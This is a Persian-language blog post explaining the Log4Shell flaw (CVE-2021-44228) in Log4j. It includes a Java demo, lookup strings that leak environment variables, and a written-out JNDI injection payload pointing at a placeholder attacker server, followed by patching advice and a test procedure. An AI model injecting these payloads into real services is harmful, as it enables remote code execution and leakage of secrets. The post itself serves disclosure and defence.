بررسی آسیب پذیری Log4j

مهران عارفخانی | 2021-12-18 10:49:20

مقدمه :

شاید اخیرا در مورد مشکل امنیتی (CVE-2021-44228) Log4j شنیده باشید. اما واقعا این مشکل چیست؟

Log4j یک کتابخانه محبوب است که برای لاگ در زبان جاوا استفاده می شود.

به دلیل گستردگی استفاده از این کتابخانه در اکثر محصولات مبتنی بر جاوا و همچنین دسترسی سطح بالایی که هکر ها با استفاده از آن میتوانند بدست بیاورند، مشکل بسیار حیاتی است و هیاهوی زیادی به پا شده است. تاجایی که خیلی ها این مشکل امنیتی را بزرگترین و مهم ترین مشکل امنیتی تاریخ اینترنت می دانند.طوری که جین ایسترلی رییس آژانس امنیتی سایبری آمریکا این مشکل امنیتی را یکی از جدی ترین نقص ها که در دوران کاری خود دیده است، می داند.

مشکل به زبان ساده :

برای توضیح مشکل امنیتی، یک برنامه خیلی ساده به زبان جاوا می نویسیم که از کتابخانه Log4j استفاده کند.

TryLogger.java

import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;
 
public class Gday {
   static Logger logger = LogManager.getLogger(Gday.class);
 
   public static void main(String... args) {
      System.out.println("Main says, 'Hello, world.'");
      logger.error(args[0]);
      System.out.println("Main is exiting.");
   }
}

این برنامه ساده ورودی کاربر را لاگ می کند. حال برنامه را با آرگومان ساده اجرا می کنیم :

‍‍‍‍

java TryLogger.java "Hello there"

Main says, 'Hello, world.'
18:40:46.385 [main] ERROR Gday - Hello there
Main is exiting.

خوب تا الان که مشکلی وجود ندارد حال ورودی کاربر را عوض کنیم

java TryLogger.java "${java:version}/${java:os}"

Main says, 'Hello, world.'
18:51:52.959 [main] ERROR Gday - Java version 17.0.1/Windows 10 10.0, architecture: amd64-64
Main is exiting.

java TryLogger.java "Username is \${env:USERNAME}"

Main says, 'Hello, world.'
18:55:47.744 [main] ERROR Gday - Username is duck
Main is exiting.

میبینید که shell variable ها که گاها اطلاعات مهمی را مثل توکن ها ذخیره می کنند قابل مشاهده شد.

اما مشکل اساسی این است که Log4j‌ از JNDI پشتیبانی می کند. که این قابلیت توسط هکر ها جهت اجرای کد از راه دور میتواند مورد استفاده قرار بگیرد. به زبان ساده مثلا در ورودی کاربر هکر

${jndi:ldap://hackerServerIp/context-name}

را وارد می کند. که باعث می شود Log4j به سرور هکر کانکشن برقرار کند . و سپس هکر بتواند کد های دلخواه خودش را از راه دور اجرا کند.

بنابراین هر جایی که سرویس ما از کاربر ورودی دریافت می کند (rest api,text input و غیره) و از کتابخانه Log4j جهت لاگ این ورودی استفاده شود این مشکل وجود دارد. حتی اگرسرویس ما امن باشد، اما سرویس های جانبی که استفاده میکنیم (اعم از apache,oracle,..) از Log4j استفاده کرده باشند، این مشکل امنیتی وجود دارد.

راه حل چیست:

(شرکت امنش هیچ تضمینی جهت این راه حل ندارد و صرفا برای اطلاع رسانی می باشد)

در ورژن ۲.۱۴.۱ و ورژن های قبلی کتابخانه Log4j این مشکل امنیتی وجود دارد (در ورژن ۲.۱۵ و ۲.۱۶ این مشکل امنیتی حل شده است). بنابراین بایستی هر سرویسی که مشکوک به استفاده از کتابخانه Log4j هست را بروز رسانی کرد (زیرا شرکت های معروف مدام روی حل این مشکل کار میکنند و اپدیت محصولات خود را جهت مقابله با این مشکل بسرعت انتشار می دهند).

نحوه تست آسان ورودی کاربران :

حال فرض کنید می خواهید مطمئن باشید که داده ای که از کاربر می گیرید، می تواند موجب مشکل امنیتی شود یا خیر.(این داده می تواند text input,rest api parameters و یا هرچیز دیگری باشد):

1- سایت https://log4shell.huntress.com را باز کنید .



2- متنی که با فلش در شکل بالا مشخص شده است را کپی کنید. سپس در محل ورودی کاربر جایگذاری کنید.

3- سپس روی دکمه view connections کلیک کنید تا صحفه زیر باز شود



4- اگر مانند شکل بالا رکوردی ( ip و تاریخ) ایجاد شده بود به معنای این است که آن ورودی کاربر (text input,rest api parameters , ..) دارای مشکل امنیتی Log4j است.